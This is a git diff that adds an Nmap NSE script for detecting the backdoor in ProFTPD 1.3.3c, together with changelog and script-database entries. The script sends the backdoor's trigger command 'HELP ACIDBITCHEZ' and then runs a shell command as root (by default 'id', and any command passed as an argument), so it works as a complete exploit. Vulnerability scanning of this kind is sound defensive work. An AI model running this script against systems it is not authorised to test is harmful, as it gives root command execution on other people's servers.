diff --git a/CHANGELOG b/CHANGELOG
index 483e065b9..3f1ec44d2 100644
--- a/CHANGELOG
+++ b/CHANGELOG
@@ -1,5 +1,8 @@
# Nmap Changelog ($Id$); -*-text-*-
+o [NSE] Added the ftp-proftpd-backdoor.nse script by mak Kolybabi,
+ which checks for a backdoor in ProFTPD 1.3.3c.
+
o [NSE] Added http-vhosts.nse from Carlos Pantelides. This script
brute-forces virtual hosts by sending different Host headers to the
same server.
diff --git a/scripts/ftp-proftpd-backdoor.nse b/scripts/ftp-proftpd-backdoor.nse
new file mode 100644
index 000000000..29d4c9af7
--- /dev/null
+++ b/scripts/ftp-proftpd-backdoor.nse
@@ -0,0 +1,108 @@
+-- -*- mode: lua -*-
+-- vim: set filetype=lua :
+
+description = [[
+This script tests ProFTPD 1.3.3c for the presence of the
+backdoor which was reported as OSVDB-ID 69562.
+
+It allows the remote execution of commands in a root shell. The command that is
+executed by default is id, but that can be changed via script-args.
+]]
+
+---
+-- @usage
+-- nmap --script proftp-backdoor -p 21
+--
+-- @args proftp-backdoor.cmd Command to execute in shell (default is "id").
+--
+-- @output
+-- PORT STATE SERVICE
+-- 21/tcp open ftp
+-- | proftp-backdoor:
+-- | This installation has been backdoored.
+-- | Command: id
+-- | Results: uid=0(root) gid=0(wheel) groups=0(wheel)
+-- |_
+
+author = "Mak Kolybabi"
+license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
+categories = {"discovery", "intrusive"}
+
+require("shortport")
+require("stdnse")
+
+local CMD_FTP = "HELP ACIDBITCHEZ"
+local CMD_SHELL = "id"
+
+portrule = shortport.port_or_service(21, "ftp")
+
+action = function(host, port)
+ local cmd, err, line, req, resp, results, sock, status
+
+ cmd = stdnse.get_script_args("proftp-backdoor.cmd")
+ if not cmd then
+ cmd = CMD_SHELL
+ end
+
+
+ -- Create socket.
+ sock = nmap.new_socket("tcp")
+ sock:set_timeout(5000)
+ status, err = sock:connect(host, port, "tcp")
+ if not status then
+ stdnse.print_debug(1, "Can't connect: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Read banner.
+ status, resp = sock:receive_lines(1)
+ if not status then
+ stdnse.print_debug(1, "Can't read banner: %s", resp)
+ sock:close()
+ return
+ end
+
+ -- Check version.
+ if not resp:match("ProFTPD 1.3.3c") then
+ stdnse.print_debug(1, "This version is not known to be backdoored.")
+ return
+ end
+
+ -- Send command to escalate privilege.
+ status, err = sock:send(CMD_FTP .. "\r\n")
+ if not status then
+ stdnse.print_debug(1, "Failed to send privilege escalation command: %s", err)
+ sock:close()
+ return
+ end
+
+ -- Send command(s) to shell, assuming that privilege escalation worked.
+ status, err = sock:send(cmd .. ";\r\n")
+ if not status then
+ stdnse.print_debug(1, "Failed to send shell command(s): %s", err)
+ sock:close()
+ return
+ end
+
+ -- Check for an error from command.
+ status, resp = sock:receive()
+ if not status then
+ stdnse.print_debug(1, "Can't read command response: %s", resp)
+ sock:close()
+ return
+ elseif resp:match("502 Unknown command") then
+ stdnse.print_debug(1, "Privilege escalation failed: %s", resp)
+ sock:close()
+ return
+ end
+
+ -- Summarize the results.
+ results = {
+ "This installation has been backdoored.",
+ "Command: " .. CMD_SHELL,
+ "Results: " .. resp
+ }
+
+ return stdnse.format_output(true, results)
+end
diff --git a/scripts/script.db b/scripts/script.db
index 23d0585b7..fe7a42acc 100644
--- a/scripts/script.db
+++ b/scripts/script.db
@@ -40,6 +40,7 @@ Entry { filename = "ftp-anon.nse", categories = { "auth", "default", "safe", } }
Entry { filename = "ftp-bounce.nse", categories = { "default", "intrusive", } }
Entry { filename = "ftp-brute.nse", categories = { "auth", "intrusive", } }
Entry { filename = "ftp-libopie.nse", categories = { "intrusive", "vuln", } }
+Entry { filename = "ftp-proftpd-backdoor.nse", categories = { "discovery", "intrusive", } }
Entry { filename = "giop-info.nse", categories = { "discovery", "safe", } }
Entry { filename = "hddtemp-info.nse", categories = { "default", "discovery", "safe", } }
Entry { filename = "hostmap.nse", categories = { "discovery", "external", "intrusive", } }